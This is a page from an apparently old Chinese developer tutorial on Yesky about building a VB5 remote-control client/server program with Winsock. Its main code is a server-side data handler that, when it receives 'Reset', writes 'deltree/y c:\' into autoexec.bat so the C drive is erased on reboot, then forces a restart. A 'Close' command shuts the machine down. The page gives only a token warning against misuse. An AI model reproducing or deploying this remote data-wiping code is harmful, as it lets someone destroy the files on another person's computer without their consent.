首页产品库评测行情新闻|手机数码笔记本台式机DIY硬件数字家庭数码相机办公外设|软件下载游戏开发|社区

更多

数码相机
MP4
LCD
机箱
音箱

天极网 > 开发频道>在VB5中利用Winsock和msDNS控件进行

在VB5中利用Winsock和msDNS控件进行

2000-11-21 00:00作者:出处:yesky责任编辑:


  以上两个程序已做好了,只有先在服务器端运行服务器端程序,再在客户端运行客户端程序,在用户名框输入服务器的主机名查找出其IP地址,进行连接就可以控制服务器了,就这么简单。也可以单机进行控制,就是在一台计算机上先运行服务器端程序,再运行客户端程序,输入本机用户名查找出其IP地址进行连接就行了。如果要更多的功能,可以在服务器端程序的Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)过程中的Case Else之后加入。例如想要产生一个重启之后进行格式化硬盘的命令就是在Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)过程中,简单如下:

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim dwReserved As Long
Dim strget As String
Dim X As Long
Dim ccom As String
 Winsock1.GetData strget "读取到达的数据
 Select Case strget
 Case "Reset" "判断到达的数据是否‘Reset’,是则重启
  Open "c:\autoexec.bat" For Output As #1
  Print #1, "deltree/y c:\" "在重启时删除C盘上的所有文件
 Close

  X = ExitWindowsEx(EWX_RESET, dwReserved)
 Case "Close" "如为‘Close’则关闭计算机
  X = ExitWindowsEx(EWX_SHUTDOWN, dwReserved)
  Case Else "可以在此加入其他命令
 End Select
End Sub

该功能请不要乱用啊!否则后果自负。
共6页。 9 7 1 2 3 4 5 6

关注此文的读者还看过:

返回开发频道首页

共6页。 上一页123456

软件频道最新更新

热点推荐

天极服务|关于我们|About us|网站律师|RSS订阅|友情合作|加入我们|天极动态|网站地图|意见反馈|MSN/QQ上看天极
Copyright (C) 1999-2012 Yesky.com, All Rights Reserved 版权所有 天极网络